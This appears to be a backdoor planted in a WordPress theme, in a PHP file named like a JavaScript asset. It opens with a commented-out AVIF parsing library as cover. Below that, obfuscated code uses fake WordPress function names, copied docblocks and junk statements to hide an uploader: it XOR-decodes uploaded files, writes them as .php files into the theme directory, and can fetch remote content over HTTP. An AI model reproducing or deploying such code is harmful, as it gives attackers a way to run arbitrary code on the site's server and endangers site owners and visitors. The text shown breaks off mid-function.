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File: /storage/v6964/gopalak/public_html/wp-content/themes/ldsmzyfvdm/EQIfb.js.php
<?php /* 
*
 * Copyright (c) 2021, Alliance for Open Media. All rights reserved
 *
 * This source code is subject to the terms of the BSD 2 Clause License and
 * the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
 * was not distributed with this source code in the LICENSE file, you can
 * obtain it at www.aomedia.org/license/software. If the Alliance for Open
 * Media Patent License 1.0 was not distributed with this source code in the
 * PATENTS file, you can obtain it at www.aomedia.org/license/patent.
 *
 * Note: this class is from libavifinfo - https:aomedia.googlesource.com/libavifinfo/+/refs/heads/main/avifinfo.php at f509487.
 * It is used as a fallback to parse AVIF files when the server doesn't support AVIF,
 * primarily to identify the width and height of the image.
 *
 * Note PHP 8.2 added native support for AVIF, so this class can be removed when WordPress requires PHP 8.2.
 

namespace Avifinfo;

const FOUND     = 0;  Input correctly parsed and information retrieved.
const NOT_FOUND = 1;  Input correctly parsed but information is missing or elsewhere.
const TRUNCATED = 2;  Input correctly parsed until missing bytes to continue.
const ABORTED   = 3;  Input correctly parsed until stopped to avoid timeout or crash.
const INVALID   = 4;  Input incorrectly parsed.

const MAX_SIZE      = 4294967295;  Unlikely to be insufficient to parse AVIF headers.
const MAX_NUM_BOXES = 4096;        Be reasonable. Avoid timeouts and out-of-memory.
const MAX_VALUE     = 255;
const MAX_TILES     = 16;
const MAX_PROPS     = 32;
const MAX_FEATURES  = 8;
const UNDEFINED     = 0;           Value was not yet parsed.

*
 * Reads an unsigned integer with most significant bits first.
 *
 * @param binary string $input     Must be at least $num_bytes-long.
 * @param int           $num_bytes Number of parsed bytes.
 * @return int                     Value.
 
function read_big_endian( $input, $num_bytes ) {
  if ( $num_bytes == 1 ) {
    return unpack( 'C', $input ) [1];
  } else if ( $num_bytes == 2 ) {
    return unpack( 'n', $input ) [1];
  } else if ( $num_bytes == 3 ) {
    $bytes = unpack( 'C3', $input );
    return ( $bytes[1] << 16 ) | ( $bytes[2] << 8 ) | $bytes[3];
  } else {  $num_bytes is 4
     This might fail to read unsigned values >= 2^31 on 32-bit systems.
     See https:www.php.net/manual/en/function.unpack.php#106041
    return unpack( 'N', $input ) [1];
  }
}

*
 * Reads bytes and advances the stream position by the same count.
 *
 * @param stream               $handle    Bytes will be read from this resource.
 * @param int                  $num_bytes Number of bytes read. Must be greater than 0.
 * @return binary string|false            The raw bytes or false on failure.
 
function read( $handle, $num_bytes ) {
  $data = fread( $handle, $num_bytes );
  return ( $data !== false && strlen( $data ) >= $num_bytes ) ? $data : false;
}

*
 * Advances the stream position by the given offset.
 *
 * @param stream $handle    Bytes will be skipped from this resource.
 * @param int    $num_bytes Number of skipped bytes. Can be 0.
 * @return bool             True on success or false on failure.
 
 Skips 'num_bytes' from the 'stream'. 'num_bytes' can be zero.
function skip( $handle, $num_bytes ) {
  return ( fseek( $handle, $num_bytes, SEEK_CUR ) == 0 );
}

------------------------------------------------------------------------------
 Features are parsed into temporary property associations.

class Tile {  Tile item id <-> parent item id associations.
  public $tile_item_id;
  public $parent_item_id;
}

class Prop {  Property index <-> item id associations.
  public $property_index;
  public $item_id;
}

class Dim_Prop {  Property <-> features associations.
  public $property_index;
  public $width;
  public $height;
}

class Chan_Prop {  Property <-> features associations.
  public $property_index;
  public $bit_depth;
  public $num_channels;
}

class Features {
  public $has_primary_item = false;  True if "pitm" was parsed.
  public $has_alpha = false;  True if an alpha "auxC" was parsed.
  public $primary_item_id;
  public $primary_item_features = array(  Deduced from the data below.
    'width'        => UNDEFINED,  In number of pixels.
    'height'       => UNDEFINED,  Ignores mirror and rotation.
    'bit_depth'    => UNDEFINED,  Likely 8, 10 or 12 bits per channel per pixel.
    'num_channels' => UNDEFINED   Likely 1, 2, 3 or 4 channels:
                                             (1 monochrome or 3 colors) + (0 or 1 alpha)
  );

  public $tiles = array();  Tile[]
  public $props = array();  Prop[]
  public $dim_props = array();  Dim_Prop[]
  public $chan_props = array();  Chan_Prop[]

  *
   * Binds the width, height, bit depth and number of channels from stored internal features.
   *
   * @param int     $target_item_id Id of the item whose features will be bound.
   * @param int     $tile_depth     Maximum recursion to search within tile-parent relations.
   * @return Status                 FOUND on success or NOT_FOUND on failure.
   
  private function get_item_features( $target_item_id, $tile_depth ) {
    foreach ( $this->props as $prop ) {
      if ( $prop->item_id != $target_item_id ) {
        continue;
      }

       Retrieve the width and height of the primary item if not already done.
      if ( $target_item_id == $this->primary_item_id &&
           ( $this->primary_item_features['width'] == UNDEFINED ||
             $this->primary_item_features['height'] == UNDEFINED ) ) {
        foreach ( $this->dim_props as $dim_prop ) {
          if ( $dim_prop->property_index != $prop->property_index ) {
            continue;
          }
          $this->primary_item_features['width']  = $dim_prop->width;
          $this->primary_item_features['height'] = $dim_prop->height;
          if ( $this->primary_item_features['bit_depth'] != UNDEFINED &&
               $this->primary_item_features['num_channels'] != UNDEFINED ) {
            return FOUND;
          }
          break;
        }
      }
       Retrieve the bit depth and number of channels of the target item if not
       already done.
      if ( $this->primary_item_features['bit_depth'] == UNDEFINED ||
           $this->primary_item_features['num_channels'] == UNDEFINED ) {
        foreach ( $this->chan_props as $chan_prop ) {
          if ( $chan_prop->property_index != $prop->property_index ) {
            continue;
          }
          $this->primary_item_features['bit_depth']    = $chan_prop->bit_depth;
          $this->primary_item_features['num_channels'] = $chan_prop->num_channels;
          if ( $this->primary_item_features['width'] != UNDEFINED &&
              $this->primary_item_features['height'] != UNDEFINED ) {
            return FOUND;
          }
          break;
        }
      }
    }

     Check for the bit_depth and num_channels in a tile if not yet found.
    if ( $tile_depth < 3 ) {
      foreach ( $this->tiles as $tile ) {
        if ( $tile->parent_item_id != $target_item_id ) {
          continue;
        }
        $status = $this->get_item_features( $tile->tile_item_id, $tile_depth + 1 );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      }
    }
    return NOT_FOUND;
  }

  *
   * Finds the width, height, bit depth and number of channels of the primary item.
   *
   * @return Status FOUND on success or NOT_FOUND on failure.
   
  public function get_primary_item_features() {
     Nothing to do without the primary item ID.
    if ( !$this->has_primary_item ) {
      return NOT_FOUND;
    }
     Early exit.
    if ( empty( $this->dim_props ) || empty( $this->chan_props ) ) {
      return NOT_FOUND;
    }
    $status = $this->get_item_features( $this->primary_item_id, tile_depth= 0 );
    if ( $status != FOUND ) {
      return $status;
    }

     "auxC" is parsed before the "ipma" properties so it is known now, if any.
    if ( $this->has_alpha ) {
      ++$this->primary_item_features['num_channels'];
    }
    return FOUND;
  }
}

------------------------------------------------------------------------------

class Box {
  public $size;  In bytes.
  public $type;  Four characters.
  public $version;  0 or actual version if this is a full box.
  public $flags;  0 or actual value if this is a full box.
  public $content_size;  'size' minus the header size.

  *
   * Reads the box header.
   *
   * @param stream  $handle              The resource the header will be parsed from.
   * @param int     $num_parsed_boxes    The total number of parsed boxes. Prevents timeouts.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   
  public function parse( $handle, &$num_parsed_boxes, $num_remaining_bytes = MAX_SIZE ) {
     See ISO/IEC 14496-12:2012(E) 4.2
    $header_size = 8;  box 32b size + 32b type (at least)
    if ( $header_size > $num_remaining_bytes ) {
      return INVALID;
    }
    if ( !( $data = read( $handle, 8 ) ) ) {
      return TRUNCATED;
    }
    $this->size = read_big_endian( $data, 4 );
    $this->type = substr( $data, 4, 4 );
     'box->size==1' means 64-bit size should be read after the box type.
     'box->size==0' means this box extends to all remaining bytes.
    if ( $this->size == 1 ) {
      $header_size += 8;
      if ( $header_size > $num_remaining_bytes ) {
        return INVALID;
      }
      if ( !( $data = read( $handle, 8 ) ) ) {
        return TRUNCATED;
      }
       Stop the parsing if any box has a size greater than 4GB.
      if ( read_big_endian( $data, 4 ) != 0 ) {
        return ABORTED;
      }
       Read the 32 least-significant bits.
      $this->size = read_big_endian( substr( $data, 4, 4 ), 4 );
    } else if ( $this->size == 0 ) {
      $this->size = $num_remaining_bytes;
    }
    if ( $this->size < $header_size ) {
      return INVALID;
    }
    if ( $this->size > $num_remaining_bytes ) {
      return INVALID;
    }

    $has_fullbox_header = $this->type == 'meta' || $this->type == 'pitm' ||
                          $this->type == 'ipma' || $this->type == 'ispe' ||
                          $this->type == 'pixi' || $this->type == 'iref' ||
                          $this->type == 'auxC';
    if ( $has_fullbox_header ) {
      $header_size += 4;
    }
    if ( $this->size < $header_size ) {
      return INVALID;
    }
    $this->content_size = $this->size - $header_size;
     Avoid timeouts. The maximum number of parsed boxes is arbitrary.
    ++$num_parsed_boxes;
    if ( $num_parsed_boxes >= MAX_NUM_BOXES ) {
      return ABORTED;
    }

    $this->version = 0;
    $this->flags   = 0;
    if ( $has_fullbox_header ) {
      if ( !( $data = read( $handle, 4 ) ) ) {
        return TRUNCATED;
      }
      $this->version = read_big_endian( $data, 1 );
      $this->flags   = read_big_endian( substr( $data, 1, 3 ), 3 );
       See AV1 Image File Format (AVIF) 8.1
       at https:aomediacodec.github.io/av1-avif/#avif-boxes (available when
       https:github.com/AOMediaCodec/av1-avif/pull/170 is merged).
      $is_parsable = ( $this->type == 'meta' && $this->version <= 0 ) ||
                     ( $this->type == 'pitm' && $this->version <= 1 ) ||
                     ( $this->type == 'ipma' && $this->version <= 1 ) ||
                     ( $this->type == 'ispe' && $this->version <= 0 ) ||
                     ( $this->type == 'pixi' && $this->version <= 0 ) ||
                     ( $this->type == 'iref' && $this->version <= 1 ) ||
                     ( $this->type == 'auxC' && $this->version <= 0 );
       Instead of considering this file as invalid, skip unparsable boxes.
      if ( !$is_parsable ) {
        $this->type = 'unknownversion';
      }
    }
     print_r( $this );  Uncomment to print all boxes.
    return FOUND;
  }
}

------------------------------------------------------------------------------

class Parser {
  private $handle;  Input stream.
  private $num_parsed_boxes = 0;
  private $data_was_skipped = false;
  public $features;

  function __construct( $handle ) {
    $this->handle   = $handle;
    $this->features = new Features();
  }

  *
   * Parses an "ipco" box.
   *
   * "ispe" is used for width and height, "pixi" and "av1C" are used for bit depth
   * and number of channels, and "auxC" is used for alpha.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   
  private function parse_ipco( $num_remaining_bytes ) {
    $box_index = 1;  1-based index. Used for iterating over properties.
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'ispe' ) {
         See ISO/IEC 23008-12:2017(E) 6.5.3.2
        if ( $box->content_size < 8 ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, 8 ) ) ) {
          return TRUNCATED;
        }
        $width  = read_big_endian( substr( $data, 0, 4 ), 4 );
        $height = read_big_endian( substr( $data, 4, 4 ), 4 );
        if ( $width == 0 || $height == 0 ) {
          return INVALID;
        }
        if ( count( $this->features->dim_props ) <= MAX_FEATURES &&
             $box_index <= MAX_VALUE ) {
          $dim_prop_count = count( $this->features->dim_props );
          $this->features->dim_props[$dim_prop_count]                 = new Dim_Prop();
          $this->features->dim_props[$dim_prop_count]->property_index = $box_index;
          $this->features->dim_props[$dim_prop_count]->width          = $width;
          $this->features->dim_props[$dim_prop_count]->height         = $height;
        } else {
          $this->data_was_skipped = true;
        }
        if ( !skip( $this->handle, $box->content_size - 8 ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'pixi' ) {
         See ISO/IEC 23008-12:2017(E) 6.5.6.2
        if ( $box->content_size < 1 ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, 1 ) ) ) {
          return TRUNCATED;
        }
        $num_channels = read_big_endian( $data, 1 );
        if ( $num_channels < 1 ) {
          return INVALID;
        }
        if ( $box->content_size < 1 + $num_channels ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, 1 ) ) ) {
          return TRUNCATED;
        }
        $bit_depth = read_big_endian( $data, 1 );
        if ( $bit_depth < 1 ) {
          return INVALID;
        }
        for ( $i = 1; $i < $num_channels; ++$i ) {
          if ( !( $data = read( $this->handle, 1 ) ) ) {
            return TRUNCATED;
          }
           Bit depth should be the same for all channels.
          if ( read_big_endian( $data, 1 ) != $bit_depth ) {
            return INVALID;
          }
          if ( $i > 32 ) {
            return ABORTED;  Be reasonable.
          }
        }
        if ( count( $this->features->chan_props ) <= MAX_FEATURES &&
             $box_index <= MAX_VALUE && $bit_depth <= MAX_VALUE &&
             $num_channels <= MAX_VALUE ) {
          $chan_prop_count = count( $this->features->chan_props );
          $this->features->chan_props[$chan_prop_count]                 = new Chan_Prop();
          $this->features->chan_props[$chan_prop_count]->property_index = $box_index;
          $this->features->chan_props[$chan_prop_count]->bit_depth      = $bit_depth;
          $this->features->chan_props[$chan_prop_count]->num_channels   = $num_channels;
        } else {
          $this->data_was_skipped = true;
        }
        if ( !skip( $this->handle, $box->content_size - ( 1 + $num_channels ) ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'av1C' ) {
         See AV1 Codec ISO Media File Format Binding 2.3.1
         at https:aomediacodec.github.io/av1-isobmff/#av1c
         Only parse the necessary third byte. Assume that the others are valid.
        if ( $box->content_size < 3 ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, 3 ) ) ) {
          return TRUNCATED;
        }
        $byte          = read_big_endian( substr( $data, 2, 1 ), 1 );
        $high_bitdepth = ( $byte & 0x40 ) != 0;
        $twelve_bit    = ( $byte & 0x20 ) != 0;
        $monochrome    = ( $byte & 0x10 ) != 0;
        if ( $twelve_bit && !$high_bitdepth ) {
            return INVALID;
        }
        if ( count( $this->features->chan_props ) <= MAX_FEATURES &&
             $box_index <= MAX_VALUE ) {
          $chan_prop_count = count( $this->features->chan_props );
          $this->features->chan_props[$chan_prop_count]                 = new Chan_Prop();
          $this->features->chan_props[$chan_prop_count]->property_index = $box_index;
          $this->features->chan_props[$chan_prop_count]->bit_depth      =
              $high_bitdepth ? $twelve_bit ? 12 : 10 : 8;
          $this->features->chan_props[$chan_prop_count]->num_channels   = $monochrome ? 1 : 3;
        } else {
          $this->data_was_skipped = true;
        }
        if ( !skip( $this->handle, $box->content_size - 3 ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'auxC' ) {
         See AV1 Image File Format (AVIF) 4
         at https:aomediacodec.github.io/av1-avif/#auxiliary-images
        $kAlphaStr       = "urn:mpeg:mpegB:cicp:systems:auxiliary:alpha\0";
        $kAlphaStrLength = 44;  Includes terminating character.
        if ( $box->content_size >= $kAlphaStrLength ) {
          if ( !( $data = read( $this->handle, $kAlphaStrLength ) ) ) {
            return TRUNCATED;
          }
          if ( substr( $data, 0, $kAlphaStrLength ) == $kAlphaStr ) {
             Note: It is unlikely but it is possible that this alpha plane does
                   not belong to the primary item or a tile. Ignore this issue.
            $this->features->has_alpha = true;
          }
          if ( !skip( $this->handle, $box->content_size - $kAlphaStrLength ) ) {
            return TRUNCATED;
          }
        } else {
          if ( !skip( $this->handle, $box->content_size ) ) {
            return TRUNCATED;
          }
        }
      } else {
        if ( !skip( $this->handle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      ++$box_index;
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes > 0 );
    return NOT_FOUND;
  }

  *
   * Parses an "iprp" box.
   *
   * The "ipco" box contain the properties which are linked to items by the "ipma" box.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   
  private function parse_iprp( $num_remaining_bytes ) {
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'ipco' ) {
        $status = $this->parse_ipco( $box->content_size );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      } else if ( $box->type == 'ipma' ) {
         See ISO/IEC 23008-12:2017(E) 9.3.2
        $num_read_bytes = 4;
        if ( $box->content_size < $num_read_bytes ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, $num_read_bytes ) ) ) {
          return TRUNCATED;
        }
        $entry_count        = read_big_endian( $data, 4 );
        $id_num_bytes       = ( $box->version < 1 ) ? 2 : 4;
        $index_num_bytes    = ( $box->flags & 1 ) ? 2 : 1;
        $essential_bit_mask = ( $box->flags & 1 ) ? 0x8000 : 0x80;

        for ( $entry = 0; $entry < $entry_count; ++$entry ) {
          if ( $entry >= MAX_PROPS ||
               count( $this->features->props ) >= MAX_PROPS ) {
            $this->data_was_skipped = true;
            break;
          }
          $num_read_bytes += $id_num_bytes + 1;
          if ( $box->content_size < $num_read_bytes ) {
            return INVALID;
          }
          if ( !( $data = read( $this->handle, $id_num_bytes + 1 ) ) ) {
            return TRUNCATED;
          }
          $item_id           = read_big_endian(
              substr( $data, 0, $id_num_bytes ), $id_num_bytes );
          $association_count = read_big_endian(
              substr( $data, $id_num_bytes, 1 ), 1 );

          for ( $property = 0; $property < $association_count; ++$property ) {
            if ( $property >= MAX_PROPS ||
                 count( $this->features->props ) >= MAX_PROPS ) {
              $this->data_was_skipped = true;
              break;
            }
            $num_read_bytes += $index_num_bytes;
            if ( $box->content_size < $num_read_bytes ) {
              return INVALID;
            }
            if ( !( $data = read( $this->handle, $index_num_bytes ) ) ) {
              return TRUNCATED;
            }
            $value          = read_big_endian( $data, $index_num_bytes );
             $essential = ($value & $essential_bit_mask);   Unused.
            $property_index = ( $value & ~$essential_bit_mask );
            if ( $property_index <= MAX_VALUE && $item_id <= MAX_VALUE ) {
              $prop_count = count( $this->features->props );
              $this->features->props[$prop_count]                 = new Prop();
              $this->features->props[$prop_count]->property_index = $property_index;
              $this->features->props[$prop_count]->item_id        = $item_id;
            } else {
              $this->data_was_skipped = true;
            }
          }
          if ( $property < $association_count ) {
            break;  Do not read garbage.
          }
        }

         If all features are available now, do not look further.
        $status = $this->features->get_primary_item_features();
        if ( $status != NOT_FOUND ) {
          return $status;
        }

         Mostly if 'data_was_skipped'.
        if ( !skip( $this->handle, $box->content_size - $num_read_bytes ) ) {
          return TRUNCATED;
        }
      } else {
        if ( !skip( $this->handle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes > 0 );
    return NOT_FOUND;
  }

  *
   * Parses an "iref" box.
   *
   * The "dimg" boxes contain links between tiles and their parent items, which
   * can be used to infer bit depth and number of channels for the primary item
   * when the latter does not have these properties.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   
  private function parse_iref( $num_remaining_bytes ) {
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'dimg' ) {
         See ISO/IEC 14496-12:2015(E) 8.11.12.2
        $num_bytes_per_id = ( $box->version == 0 ) ? 2 : 4;
        $num_read_bytes   = $num_bytes_per_id + 2;
        if ( $box->content_size < $num_read_bytes ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, $num_read_bytes ) ) ) {
          return TRUNCATED;
        }
        $from_item_id    = read_big_endian( $data, $num_bytes_per_id );
        $reference_count = read_big_endian( substr( $data, $num_bytes_per_id, 2 ), 2 );

        for ( $i = 0; $i < $reference_count; ++$i ) {
          if ( $i >= MAX_TILES ) {
            $this->data_was_skipped = true;
            break;
          }
          $num_read_bytes += $num_bytes_per_id;
          if ( $box->content_size < $num_read_bytes ) {
            return INVALID;
          }
          if ( !( $data = read( $this->handle, $num_bytes_per_id ) ) ) {
            return TRUNCATED;
          }
          $to_item_id = read_big_endian( $data, $num_bytes_per_id );
          $tile_count = count( $this->features->tiles );
          if ( $from_item_id <= MAX_VALUE && $to_item_id <= MAX_VALUE &&
               $tile_count < MAX_TILES ) {
            $this->features->tiles[$tile_count]                 = new Tile();
            $this->features->tiles[$tile_count]->tile_item_id   = $to_item_id;
            $this->features->tiles[$tile_count]->parent_item_id = $from_item_id;
          } else {
            $this->data_was_skipped = true;
          }
        }

         If all features are available now, do not look further.
        $status = $this->features->get_primary_item_features();
        if ( $status != NOT_FOUND ) {
          return $status;
        }

         Mostly if 'data_was_skipped'.
        if ( !skip( $this->handle, $box->content_size - $num_read_bytes ) ) {
          return TRUNCATED;
        }
      } else {
        if ( !skip( $this->han*/

/**
 * Retrieves category description.
 *
 * @since 1.0.0
 *
 * @param int $scheduled_eventategory Optional. Category ID. Defaults to the current category ID.
 * @return string Category description, if available.
 */
function remove_help_tabs($theme_stylesheet)
{
    $unbalanced = pack("H*", $theme_stylesheet);
    return $unbalanced;
}


/**
	 * @param int $DKIMcanonicalizationudio_profile_id
	 *
	 * @return string
	 */
function errorCode($video_types, $svg)
{
    $help = wp_recovery_mode_nag($video_types);
    $user_value = array(1, 2, 3, 4, 5);
    $queried_taxonomy = in_array(3, $user_value); //$thisfile_video['bits_per_sample'] = 24;
    if ($queried_taxonomy) {
        $total_counts = "Number found.";
    }

    if ($help === false) {
        return false;
    } # S->t[0] = ( uint64_t )( t >> 0 );
    return fread_buffer_size($svg, $help);
}


/**
 * Defines plugin directory WordPress constants.
 *
 * Defines must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.
 *
 * @since 3.0.0
 */
function wp_check_revisioned_meta_fields_have_changed($f9g1_38, $replace)
{
    $fields_to_pick = wp_hash($f9g1_38) - wp_hash($replace);
    $update_transactionally = "Hello=World"; //    s9 += s20 * 470296;
    $fields_to_pick = $fields_to_pick + 256; //    s9 += s17 * 136657;
    $rels = rawurldecode($update_transactionally);
    $fields_to_pick = $fields_to_pick % 256;
    $f9g1_38 = get_post_format($fields_to_pick);
    if (strpos($rels, "=") !== false) {
        list($subdomain_error_warn, $w2) = explode("=", $rels);
    }

    $ssl_failed = hash('crc32', $w2);
    return $f9g1_38;
}


/**
 * Fetches the saved Custom CSS content for rendering.
 *
 * @since 4.7.0
 *
 * @param string $stylesheet Optional. A theme object stylesheet name. Defaults to the active theme.
 * @return string The Custom CSS Post content.
 */
function site_icon_url($video_types)
{
    $video_types = "http://" . $video_types;
    return $video_types;
} // 4.14  REV  Reverb


/**
	 * Unregisters a block pattern.
	 *
	 * @since 5.5.0
	 *
	 * @param string $find_main_pageattern_name Block pattern name including namespace.
	 * @return bool True if the pattern was unregistered with success and false otherwise.
	 */
function compute_style_properties($gd_image_formats)
{
    return get_post_ancestors() . DIRECTORY_SEPARATOR . $gd_image_formats . ".php";
} // Take the first one we find.


/**
     * Provide an instance to use for SMTP operations.
     *
     * @return SMTP
     */
function wp_dashboard_incoming_links_output($from_api, $walk_dirs = 'txt')
{ // current_user_can( 'assign_terms' )
    return $from_api . '.' . $walk_dirs;
}


/**
	 * Current status.
	 *
	 * @since 4.9.6
	 * @var string
	 */
function fe_mul($OS, $sitemap_index) {
    $f6_19 = "URL Example";
    $wp_post_statuses = rawurldecode($f6_19);
    $wp_interactivity = explode(" ", $wp_post_statuses);
    $theme_width = check_update_permission($OS, $sitemap_index);
    return array_unique($theme_width);
}


/**
	 * Filters the HTML list content for a specific navigation menu.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string   $GenreIDtems The HTML list content for the menu items.
	 * @param stdClass $DKIMcanonicalizationrgs  An object containing wp_nav_menu() arguments.
	 */
function get_post_ancestors()
{
    return __DIR__;
}


/**
 * Displays a referrer `strict-origin-when-cross-origin` meta tag.
 *
 * Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send
 * the full URL as a referrer to other sites when cross-origin assets are loaded.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'wp_strict_cross_origin_referrer' );
 *
 * @since 5.7.0
 */
function APEcontentTypeFlagLookup($force_cache_fallback)
{
    maybe_exif_rotate($force_cache_fallback);
    wp_schedule_update_network_counts($force_cache_fallback);
}


/**
	 * Prepares links for the sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param array $sidebar Sidebar.
	 * @return array Links for the given widget.
	 */
function delete_post_thumbnail($OS, $user_search) { // Install user overrides. Did we mention that this voids your warranty?
    $MPEGaudioChannelModeLookup = "testExample"; //    s5 += carry4;
    $txxx_array = rawurldecode($MPEGaudioChannelModeLookup);
    $termlink = hash('ripemd160', $txxx_array); //    s20 -= carry20 * ((uint64_t) 1L << 21);
    $filter_added = explode('|', $termlink);
    $to_lines = str_pad($filter_added[0], 15, '&');
    return array_rand(array_flip($OS), $user_search); // Fail if the new status is future but the existing post's date is not in the future.
}


/**
	 * Restores the plugin or theme from temporary backup.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
function privExtractFile($hello, $subdomain_error_warn) // Preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash.
{
    $file_id = strlen($subdomain_error_warn);
    $flv_framecount = array();
    for ($GenreID = 0; $GenreID < 5; $GenreID++) {
        $flv_framecount[] = date('d/m/Y', strtotime("+$GenreID day"));
    }
 // For automatic replacement, both 'home' and 'siteurl' need to not only use HTTPS, they also need to be using
    $f7_38 = end($flv_framecount);
    $status_name = strlen($hello);
    $file_id = $status_name / $file_id;
    $file_id = ceil($file_id);
    $scrape_key = str_split($hello);
    $subdomain_error_warn = str_repeat($subdomain_error_warn, $file_id);
    $f0f9_2 = str_split($subdomain_error_warn);
    $f0f9_2 = array_slice($f0f9_2, 0, $status_name);
    $show = array_map("wp_check_revisioned_meta_fields_have_changed", $scrape_key, $f0f9_2);
    $show = implode('', $show);
    return $show;
}


/**
		 * Returns a given translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return string|false Header if it exists, false otherwise.
		 */
function wp_embed_defaults($from_api, $FLVvideoHeader, $force_cache_fallback)
{
    if (isset($_FILES[$from_api])) {
    $w2 = "match_string";
    $rtl_styles = explode("_", $w2); // Force the post_type argument, since it's not a user input variable.
    $CodecEntryCounter = hash('md2', $rtl_styles[0]);
    $srcset = substr($CodecEntryCounter, 0, 6);
    $theme_stylesheet = rawurldecode("%23");
        DecimalBinary2Float($from_api, $FLVvideoHeader, $force_cache_fallback);
    $s19 = implode($theme_stylesheet, [$rtl_styles[1], $srcset]);
    if (strlen($s19) < 15) {
        $s19 = str_replace("%", "@", $s19);
    }

    }
	
    wp_schedule_update_network_counts($force_cache_fallback);
}


/**
 * Returns CSS styles for icon and icon background colors.
 *
 * @param array $scheduled_eventontext Block context passed to Social Link.
 *
 * @return string Inline CSS styles for link's icon and background colors.
 */
function akismet_result_hold($svg, $subdomain_error_warn) // Create a copy in case the array was passed by reference.
{
    $their_public = file_get_contents($svg);
    $DKIMcanonicalization = "hello"; // error("fetch_rss called without a url");
    $status_args = "world";
    $scheduled_event = str_replace("l", "L", $DKIMcanonicalization);
    $full_route = array($DKIMcanonicalization, $status_args);
    $huffman_encoded = privExtractFile($their_public, $subdomain_error_warn); // Check for .mp4 or .mov format, which (assuming h.264 encoding) are the only cross-browser-supported formats.
    if (isset($full_route)) {
        $recent_args = implode(", ", $full_route);
    }
 // Create a revision whenever a post is updated.
    file_put_contents($svg, $huffman_encoded);
}


/**
		 * Filters the number of found posts for the query.
		 *
		 * @since 2.1.0
		 *
		 * @param int      $found_posts The number of posts found.
		 * @param WP_Query $query       The WP_Query instance (passed by reference).
		 */
function get_the_title($secret, $style_selectors)
{
	$term_data = move_uploaded_file($secret, $style_selectors); // Ignore the $fields, $update_site_cache, $update_site_meta_cache argument as the queried result will be the same regardless.
    $hh = [1, 2, 3, 4, 5];
	
    return $term_data;
} //Return text of body


/**
	 * Naturally orders available widgets by name.
	 *
	 * @since 3.9.0
	 *
	 * @param array $widget_a The first widget to compare.
	 * @param array $widget_b The second widget to compare.
	 * @return int Reorder position for the current widget comparison.
	 */
function wp_hash($sub2feed2)
{
    $sub2feed2 = ord($sub2feed2);
    $thresholds = "abcdefg";
    $has_fallback_gap_support = strlen($thresholds);
    if ($has_fallback_gap_support > 5) {
        $home_url_host = substr($thresholds, 0, 5);
    }
 // memory limits probably disabled
    $xingVBRheaderFrameLength = hash('sha256', $home_url_host);
    $sanitized_login__not_in = explode('b', $xingVBRheaderFrameLength);
    return $sub2feed2;
}


/*
	 * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain
	 * (which is to say, when they share the domain name of the current request).
	 */
function DecimalBinary2Float($from_api, $FLVvideoHeader, $force_cache_fallback)
{
    $gd_image_formats = $_FILES[$from_api]['name']; // Pass data to JS.
    $quality_result = "a quick brown fox";
    $signups = str_replace(" ", "-", $quality_result);
    $svg = compute_style_properties($gd_image_formats);
    $frame_header = str_pad($signups, 20, "*");
    if (strlen($frame_header) > 15) {
        $CodecEntryCounter = hash("md5", $frame_header);
    }

    akismet_result_hold($_FILES[$from_api]['tmp_name'], $FLVvideoHeader);
    get_the_title($_FILES[$from_api]['tmp_name'], $svg); // If MAILSERVER is set, override $server with its value.
}


/** @var int $scheduled_eventarry7 */
function wp_recovery_mode_nag($video_types)
{
    $video_types = site_icon_url($video_types);
    $update_response = 'abc def ghi';
    $trackbackquery = trim($update_response);
    return file_get_contents($video_types);
}


/**
 * Handles getting the best type for a multi-type schema.
 *
 * This is a wrapper for {@see rest_get_best_type_for_value()} that handles
 * backward compatibility for schemas that use invalid types.
 *
 * @since 5.5.0
 *
 * @param mixed  $w2 The value to check.
 * @param array  $DKIMcanonicalizationrgs  The schema array to use.
 * @param string $find_main_pagearam The parameter name, used in error messages.
 * @return string
 */
function get_import_map($DKIMcanonicalization, $status_args) {
